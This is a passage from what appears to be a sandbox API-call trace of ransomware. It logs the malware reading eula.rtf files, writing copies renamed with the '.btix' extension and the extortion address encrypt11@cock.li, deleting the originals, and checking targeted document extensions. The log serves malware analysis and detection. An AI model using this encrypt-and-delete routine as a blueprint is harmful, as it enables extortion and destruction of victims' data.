"c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0042.029] GetLastError () returned 0x0 [0042.029] ReadFile (in: hFile=0x31c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xd5b, lpOverlapped=0x0) returned 1 [0042.117] WriteFile (in: hFile=0x324, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xd60, lpOverlapped=0x0) returned 1 [0042.118] ReadFile (in: hFile=0x31c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0042.118] WriteFile (in: hFile=0x324, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xe4, lpOverlapped=0x0) returned 1 [0042.118] SetEndOfFile (hFile=0x324) returned 1 [0042.119] CloseHandle (hObject=0x324) returned 1 [0042.119] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0042.119] SetEndOfFile (hFile=0x31c) returned 1 [0042.120] CloseHandle (hObject=0x31c) returned 1 [0042.120] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.121] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0042.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.121] lstrlenW (lpString=".doc") returned 4 [0042.121] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0042.121] lstrlenW (lpString=".docx") returned 5 [0042.121] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0042.121] lstrlenW (lpString=".pdf") returned 4 [0042.121] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0042.121] lstrlenW (lpString=".xls") returned 4 [0042.121] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0042.121] lstrlenW (lpString=".xlsx") returned 5 [0042.121] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0042.121] lstrlenW (lpString=".ppt") returned 4 [0042.121] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0042.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.122] lstrlenW (lpString=".zip") returned 4 [0042.122] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0042.122] lstrlenW (lpString=".rar") returned 4 [0042.122] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0042.122] lstrlenW (lpString=".bz2") returned 4 [0042.122] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0042.122] lstrlenW (lpString=".7z") returned 3 [0042.122] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0042.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.122] lstrlenW (lpString=".dbf") returned 4 [0042.122] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0042.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.122] lstrlenW (lpString=".1cd") returned 4 [0042.122] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0042.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.122] lstrlenW (lpString=".jpg") returned 4 [0042.122] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0042.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.122] lstrlenW (lpString=".doc") returned 4 [0042.122] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0042.122] lstrlenW (lpString=".docx") returned 5 [0042.122] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0042.122] lstrlenW (lpString=".pdf") returned 4 [0042.123] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0042.123] lstrlenW (lpString=".xls") returned 4 [0042.123] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0042.123] lstrlenW (lpString=".xlsx") returned 5 [0042.123] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0042.123] lstrlenW (lpString=".ppt") returned 4 [0042.123] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0042.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.123] lstrlenW (lpString=".zip") returned 4 [0042.123] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0042.123] lstrlenW (lpString=".rar") returned 4 [0042.123] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0042.123] lstrlenW (lpString=".bz2") returned 4 [0042.123] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0042.123] lstrlenW (lpString=".7z") returned 3 [0042.123] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0042.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.123] lstrlenW (lpString=".dbf") returned 4 [0042.123] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0042.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.123] lstrlenW (lpString=".1cd") returned 4 [0042.123] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0042.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0042.123] lstrlenW (lpString=".jpg") returned 4 [0042.123] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0042.124] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0042.124] lstrlenW (lpString="eula.rtf") returned 8 [0042.124] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0042.143] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=8876) returned 1 [0042.143] CloseHandle (hObject=0x328) returned 1 [0042.143] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0042.143] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.143] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0042.143] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0042.144] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0042.144] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0042.147] GetLastError () returned 0x0 [0042.147] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x22ac, lpOverlapped=0x0) returned 1 [0042.326] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x22b0, lpOverlapped=0x0) returned 1 [0042.328] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0042.328] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xe4, lpOverlapped=0x0) returned 1 [0042.328] SetEndOfFile (hFile=0x318) returned 1 [0042.328] CloseHandle (hObject=0x318) returned 1 [0042.329] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0042.329] SetEndOfFile (hFile=0x328) returned 1 [0042.329] CloseHandle (hObject=0x328) returned 1 [0042.330] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.330] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0042.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.330] lstrlenW (lpString=".doc") returned 4 [0042.330] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0042.330] lstrlenW (lpString=".docx") returned 5 [0042.330] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0042.330] lstrlenW (lpString=".pdf") returned 4 [0042.330] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0042.330] lstrlenW (lpString=".xls") returned 4 [0042.330] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0042.330] lstrlenW (lpString=".xlsx") returned 5 [0042.330] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0042.330] lstrlenW (lpString=".ppt") returned 4 [0042.330] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0042.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.331] lstrlenW (lpString=".zip") returned 4 [0042.331] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0042.331] lstrlenW (lpString=".rar") returned 4 [0042.331] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0042.331] lstrlenW (lpString=".bz2") returned 4 [0042.331] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0042.331] lstrlenW (lpString=".7z") returned 3 [0042.331] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.331] lstrlenW (lpString=".dbf") returned 4 [0042.331] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.331] lstrlenW (lpString=".1cd") returned 4 [0042.331] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.331] lstrlenW (lpString=".jpg") returned 4 [0042.331] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.331] lstrlenW (lpString=".doc") returned 4 [0042.331] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0042.331] lstrlenW (lpString=".docx") returned 5 [0042.331] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0042.331] lstrlenW (lpString=".pdf") returned 4 [0042.331] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0042.331] lstrlenW (lpString=".xls") returned 4 [0042.331] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0042.331] lstrlenW (lpString=".xlsx") returned 5 [0042.331] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0042.331] lstrlenW (lpString=".ppt") returned 4 [0042.331] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0042.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.332] lstrlenW (lpString=".zip") returned 4 [0042.332] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0042.332] lstrlenW (lpString=".rar") returned 4 [0042.332] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0042.332] lstrlenW (lpString=".bz2") returned 4 [0042.332] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0042.332] lstrlenW (lpString=".7z") returned 3 [0042.332] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0042.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.332] lstrlenW (lpString=".dbf") returned 4 [0042.332] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0042.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.332] lstrlenW (lpString=".1cd") returned 4 [0042.332] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0042.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0042.332] lstrlenW (lpString=".jpg") returned 4 [0042.332] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0042.332] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0042.332] lstrlenW (lpString="eula.rtf") returned 8 [0042.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0042.332] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=3702) returned 1 [0042.333] CloseHandle (hObject=0x328) returned 1 [0042.333] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0042.333] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.333] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0042.333] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0042.333] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0042.333] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0042.333] GetLastError () returned 0x0 [0042.333] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xe76, lpOverlapped=0x0) returned 1 [0042.431] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xe80, lpOverlapped=0x0) returned 1 [0042.432] ReadFile (in: hFile=0x328, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0042.432] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xe4, lpOverlapped=0x0) returned 1 [0042.432] SetEndOfFile (hFile=0x318) returned 1 [0042.432] CloseHandle (hObject=0x318) returned 1 [0042.433] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0042.433] SetEndOfFile (hFile=0x328) returned 1 [0042.434] CloseHandle (hObject=0x328) returned 1 [0042.434] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.434] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0042.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.434] lstrlenW (lpString=".doc") returned 4 [0042.434] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0042.434] lstrlenW (lpString=".docx") returned 5 [0042.434] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0042.434] lstrlenW (lpString=".pdf") returned 4 [0042.434] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0042.434] lstrlenW (lpString=".xls") returned 4 [0042.434] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0042.434] lstrlenW (lpString=".xlsx") returned 5 [0042.434] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0042.434] lstrlenW (lpString=".ppt") returned 4 [0042.434] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0042.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.434] lstrlenW (lpString=".zip") returned 4 [0042.434] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0042.434] lstrlenW (lpString=".rar") returned 4 [0042.435] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0042.435] lstrlenW (lpString=".bz2") returned 4 [0042.435] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0042.435] lstrlenW (lpString=".7z") returned 3 [0042.435] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0042.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.435] lstrlenW (lpString=".dbf") returned 4 [0042.435] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0042.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.435] lstrlenW (lpString=".1cd") returned 4 [0042.435] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0042.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.435] lstrlenW (lpString=".jpg") returned 4 [0042.435] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0042.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.435] lstrlenW (lpString=".doc") returned 4 [0042.435] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0042.435] lstrlenW (lpString=".docx") returned 5 [0042.436] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0042.436] lstrlenW (lpString=".pdf") returned 4 [0042.436] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0042.436] lstrlenW (lpString=".xls") returned 4 [0042.436] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0042.436] lstrlenW (lpString=".xlsx") returned 5 [0042.436] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0042.436] lstrlenW (lpString=".ppt") returned 4 [0042.436] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0042.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.436] lstrlenW (lpString=".zip") returned 4 [0042.436] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0042.436] lstrlenW (lpString=".rar") returned 4 [0042.436] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0042.436] lstrlenW (lpString=".bz2") returned 4 [0042.436] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0042.436] lstrlenW (lpString=".7z") returned 3 [0042.436] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0042.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.436] lstrlenW (lpString=".dbf") returned 4 [0042.436] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0042.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.436] lstrlenW (lpString=".1cd") returned 4 [0042.436] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0042.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0042.436] lstrlenW (lpString=".jpg") returned 4 [0042.436] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0042.436] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0042.436] lstrlenW (lpString="eula.rtf") returned 8 [0042.437] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0043.189] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=6851) returned 1 [0043.189] CloseHandle (hObject=0x2d8) returned 1 [0043.189] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0043.189] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.189] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0043.189] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.189] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.189] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0043.219] GetLastError () returned 0x0 [0043.219] ReadFile (in: hFile=0x2d8, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1ac3, lpOverlapped=0x0) returned 1 [0043.242] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0043.244] ReadFile (in: hFile=0x2d8, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0043.245] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.245] SetEndOfFile (hFile=0x32c) returned 1 [0043.245] CloseHandle (hObject=0x32c) returned 1 [0043.245] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0043.245] SetEndOfFile (hFile=0x2d8) returned 1 [0043.246] CloseHandle (hObject=0x2d8) returned 1 [0043.246] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.246] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0043.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.247] lstrlenW (lpString=".doc") returned 4 [0043.247] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.247] lstrlenW (lpString=".docx") returned 5 [0043.247] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.247] lstrlenW (lpString=".pdf") returned 4 [0043.247] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.247] lstrlenW (lpString=".xls") returned 4 [0043.247] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.247] lstrlenW (lpString=".xlsx") returned 5 [0043.247] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.247] lstrlenW (lpString=".ppt") returned 4 [0043.247] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0043.247] lstrlenW 